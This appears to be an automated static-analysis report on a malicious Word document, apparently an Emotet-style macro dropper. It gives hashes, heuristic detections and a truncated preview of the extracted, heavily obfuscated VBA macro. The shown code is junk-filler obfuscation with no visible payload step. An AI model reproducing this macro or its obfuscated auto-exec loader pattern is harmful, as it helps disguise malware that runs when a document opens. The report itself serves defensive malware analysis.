Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a655989145d487f…

MALICIOUS

Office (OLE)

462.5 KB Created: 2018-07-11 01:05:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 51a0cb4d2a373cb873b83f31b8921120 SHA-1: 3395885da4f31b123d1d41c40507a8f9f0b87a28 SHA-256: 4a655989145d487f3c9679accb33541a53e52cf48637ec57b268e6e80d21e031
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a heavily obfuscated VBA macro. The macro utilizes `CreateObject` and `Shell()` calls, indicative of executing arbitrary code. The presence of an 'Obfuscated auto-exec VBA loader' heuristic and the ClamAV detection 'Doc.Dropper.Emodldr-6755244-0' strongly suggest this macro is designed to download and execute a secondary payload. The VBA code itself is too obfuscated to determine the exact download URL or execution method, hence the unknown family.

Heuristics 8

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 218207 bytes
SHA-256: a09bcdaf31a0988ee13ff83c1103a3daf7ef5bd2c74fc3d886f6c93a6fe7d5dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub hNZdbv(iUPPvM As String)
    WveewWilhN = 1215 + 946 + 274
    For MkXtOi = 0 To 4
        For zbdVqR = 0 To 8
            yzMRR = "xWK@Deox.wSYh@xsv[jO" + " iiUT%xXVhKAltZUrDj" + "QcLayz?@^#JkfYOv"
            hxFOnOVTLk = Space(5)
            jygwcxUIv = LTrim("bYBGG.%DFex&J.dg@")
            SzTaqzraaa = LTrim("*x)TMFFlOX!")
        Next zbdVqR

        WveewWilhN = 881 - 562 - 760
        onBJaNuOgP = "eodHA(m@bFrJ" + "Gtj_luFpqiYWupH-" + "zUCXfFACU^CLyGOv"
        NqSdowzxnHB = Space(10)
        UxYyMXOV = UCase("Pb&rj!_w$AnsJnCrP.")
        HzexY = LTrim("fE#D&w%EL(mGL#rkGV")
        dNuAJVC = Right("ydbjvIiYgpwA?cwL?]", 4)
    Next MkXtOi

    SzTaqzraaa = Left("C YZr?-WXA", 2)
    WveewWilhN = Right("[lF(NA$KCACJEkQDrvgd", 5)
    While OSbBYQ < 5
        uqDhUYShFtQ = Right("r)Smu]c?OD&", 3)
        UxYyMXOV = Space(1)
        OSbBYQ = OSbBYQ + 2
    Wend

    WveewWilhN = StrReverse("OjM]m?GDbtb")
    NqSdowzxnHB = Right("nfPh@qfO)ZMy^?AOYX_", 3)
    uqDhUYShFtQ = LTrim("yN*p.-MzseacOU&gW_")
    SzTaqzraaa = "gZ]%VtUvG&vG" + "FqzccGA_o&]v" + "H@owRBu_J&rCL"
    uqDhUYShFtQ = Space(14)
    whhCfjnZ = RTrim("_gFqosp(vkmrrUGw-")
    uqDhUYShFtQ = 1924 - 1375 - 1433
    UxYyMXOV = StrReverse(".kHG-Ug*D!?NCrd..g")
    HzexY = StrReverse("ccwxnvIx?^pibLDF-s")
    uqDhUYShFtQ = StrReverse("dl.PMdKrRQ__OVf&Ge")
    hxFOnOVTLk = RTrim("z JZYzM(VnjGACW[N")
    SzTaqzraaa = RTrim("M[*FmpTLt&zM!?#lD)k")
    dNuAJVC = 552 - 1615 - 771
    NqSdowzxnHB = 1654 + 1841 + 247
    hxFOnOVTLk = Right("zn& ]YbDRqGeCe)gF", 3)
    dNuAJVC = Space(5)
    dNuAJVC = Left("Z&sP Be^ag-", 2)
    For QSsqyT = 0 To 5
        While bsNGSD < 4
            uMpdgv = RTrim("RAre$]oQGB#yon_yW)U")
            uMpdgv = RTrim("P^-tTB[%eI(")
            whhCfjnZ = UCase("E@OjwFzXaDN%XF#e")
            dNuAJVC = RTrim("RoTZdl KI_s")
            jygwcxUIv = "$Uto#(HrOgKcxwNhC" + "Qcftw%GAYw*?CXvLX[@" + "MbSDlSO(O)$BTbp#Kg%g"
            bsNGSD = bsNGSD + 2
        Wend

        HzexY = UCase("NoTjDxQz?FgC#)I)%Z")
        onBJaNuOgP = Left("!%n#cn.%zz^kSRXNP", 5)
        yzMRR = Space(18)
    Next QSsqyT

    SzTaqzraaa = RTrim("iuhnaXRvI^d")
    whhCfjnZ = UCase("FXPH@aZdDDAoWF(A^U")
End Sub

Private Sub VHouKu(aqbJwx As String, NlRscg As Integer)
    hxFOnOVTLk = LTrim("OFGjlc!lH]HPKB")
    NqSdowzxnHB = RTrim("Xw&QdJtSsn")
    onBJaNuOgP = "O^Q]mPfyViVtk@" + "OpaNB[_CjktLWq" + "syso!TGYP[X%"
    jygwcxUIv = RTrim("!-ETle@yt%lDzr_?R")
    SzTaqzraaa = 1904 + 304 + 1687
    SzTaqzraaa = UCase("OcC#%HKqzX")
    While nmDViA < 3
        While hcOCmr < 3
            WveewWilhN = Left("n$UfxiEAty%", 5)
            HzexY = UCase("?h[#xyNI%f!iOUI?Lg?L")
            SzTaqzraaa = "CyND[?m&zQ%kLxmog" + "APP*JVS GyCXA" + "wZpiqZ%*RBH"
            UxYyMXOV = Left("BzD$aYIklUfbi #v@J!x", 4)
            WveewWilhN = "d@?^c**XNj$T" + "C#jNgaJYEBQURzKzo^" + "V^cYv[Yza[s?ARz&j"
            hcOCmr = hcOCmr + 1
        Wend

        hxFOnOVTLk = LTrim("J$KGFa!xgqWwdvFQ#")
        yzMRR = UCase("FhKPpBZf_R")
        uqDhUYShFtQ = UCase("W@*mxCJMQTfbXavBJA$L")
        whhCfjnZ = Space(3)
        WveewWilhN = "mYa*nSF!sD" + "PF&Ec!MGHVU^#[B_)RjK" + "_-_ppfdnP%)"
        UxYyMXOV = "y?Mk$ vKhyvfMwjL" + " uZBaBFuals " + "J!vv?K^ tOyi"
        UxYyMXOV = "a*glMsYW.jqXU" + "IbegYM*Aos$MQ" + "&[yxP kBFs(n#RA"
        HzexY = StrReverse("coUf&Fx$Hn@Ld&bl]q?f")
        WveewWilhN = 288 - 1949 - 1520
        UxYyMXOV = Space(15)
        nmDViA = nmDViA + 1
    Wend

    jygwcxUIv = Right("tyBp wn^mYx", 2)
    uMpdgv = 1982 + 1180 + 1054
    HzexY = 1492 + 1776 + 881
    uqDhUYShFtQ = "$Pvju@ZXbQfoHr$(GqC" + "-wXMz^^Fy(Yk" + "mEMUInTCmgNAZT"
    NqSdowzxnHB = Left("wh^*e*BFV[d", 2)
    whhCfjnZ = R
... (truncated)

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